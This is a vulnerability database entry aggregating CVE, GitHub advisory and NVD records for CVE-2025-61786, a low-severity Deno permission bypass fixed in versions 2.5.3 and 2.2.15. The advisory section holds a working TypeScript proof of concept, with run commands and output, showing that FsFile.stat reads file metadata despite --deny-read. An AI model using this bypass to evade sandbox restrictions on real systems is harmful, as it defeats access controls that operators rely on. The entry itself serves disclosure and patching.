cvelistv5 - CVE-2025-61786

CVE-2025-61786 (GCVE-0-2025-61786)

Vulnerability from cvelistv5

Published

2025-10-08 00:49

Modified

2025-10-08 18:54

Severity ?

3.3 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-269 - Improper Privilege Management

Summary

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

References

URL

Tags

security-advisories@github.com	https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec	Patch
security-advisories@github.com	https://github.com/denoland/deno/pull/30876	Issue Tracking, Patch
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.2.15	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.5.3	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	denoland	deno	Version: >= 2.3.0, < 2.5.3 Version: < 2.2.15

Show details on NVD website

JSON

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ghsa-qq26-84mh-26j9

Vulnerability from github

Published

2025-10-08 17:56

Modified

2025-10-08 17:56

Severity ?

3.3 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

Deno's --deny-read check does not prevent permission bypass

Details

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3

touch test1.txt ```

poc_file.stat.ts ```ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); }

async function main(){ const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
    case "1":
        poc1()
        break;
    case "2":
        poc2()
        break;
    case "3":
        poc3()
        break;
    case "4":
        poc4()
        break;
    default:
        poc1()
}

}

main() ```

Output: - deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 PermissionStatus { state: "denied", onchange: null } true

deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 PermissionStatus { state: "denied", onchange: null } true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ...

Impact

Permission model bypass

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-08T17:56:40Z",
    "nvd_published_at": "2025-10-08T01:15:33Z",
    "severity": "LOW"
  },
  "details": "### Summary \n\n`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.\n\nIt\u0027s possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)\n\nSimilar APIs like `Deno.stat` and `Deno.statSync` require\u00a0`allow-read`\u00a0permission, however, when a file is opened, even with file-write only flags and deny-read permission, it\u0027s still possible to retrieve file stats, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test1.txt\n```\n\n- `poc_file.stat.ts`\n```ts\n// touch test1.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1\n// deno run --allow-write=./ poc_file.stat.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = await file.stat();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2\n// deno run --allow-write=./ poc_file.stat.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = file.statSync();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3\n// deno run --allow-write=./ poc_file.stat.ts 3\nasync function poc3(){\n    // not executed\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4\n// deno run --allow-write=./ poc_file.stat.ts 4\nfunction poc4(){\n    // not executed\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"read\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\n\nOutput:\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n                                ^\n    ...\n```\n\n- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n                          ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass",
  "id": "GHSA-qq26-84mh-26j9",
  "modified": "2025-10-08T17:56:40Z",
  "published": "2025-10-08T17:56:40Z",
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      "url": "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"
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      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/pull/30876"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"
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      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
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    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s --deny-read check does not prevent permission bypass"
}

fkie_cve-2025-61786

Vulnerability from fkie_nvd

Published

2025-10-08 01:15

Modified

2025-10-16 18:13

Severity ?

3.3 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec	Patch
security-advisories@github.com	https://github.com/denoland/deno/pull/30876	Issue Tracking, Patch
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.2.15	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.5.3	Release Notes
security-advisories@github.com	https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	deno	deno	*
	deno	deno	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E75979F4-50DD-41E8-932A-C576F86DBFCF",
              "versionEndIncluding": "2.2.15",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "7DD66938-204A-4542-BA86-274BB232C8C9",
              "versionEndExcluding": "2.5.3",
              "versionStartIncluding": "2.3.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It\u0027s possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`). Similar APIs like `Deno.stat` and `Deno.statSync` require\u00a0`allow-read`\u00a0permission, however, when a file is opened, even with file-write only flags and deny-read permission, it\u0027s still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue."
    }
  ],
  "id": "CVE-2025-61786",
  "lastModified": "2025-10-16T18:13:38.117",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 3.3,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-10-08T01:15:33.010",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/denoland/deno/pull/30876"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-269"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CVE-2025-61786 (GCVE-0-2025-61786)

Vulnerability from cvelistv5

ghsa-qq26-84mh-26j9

Vulnerability from github

Summary

PoC

Impact

fkie_cve-2025-61786

Vulnerability from fkie_nvd

Tags

Sightings

Nomenclature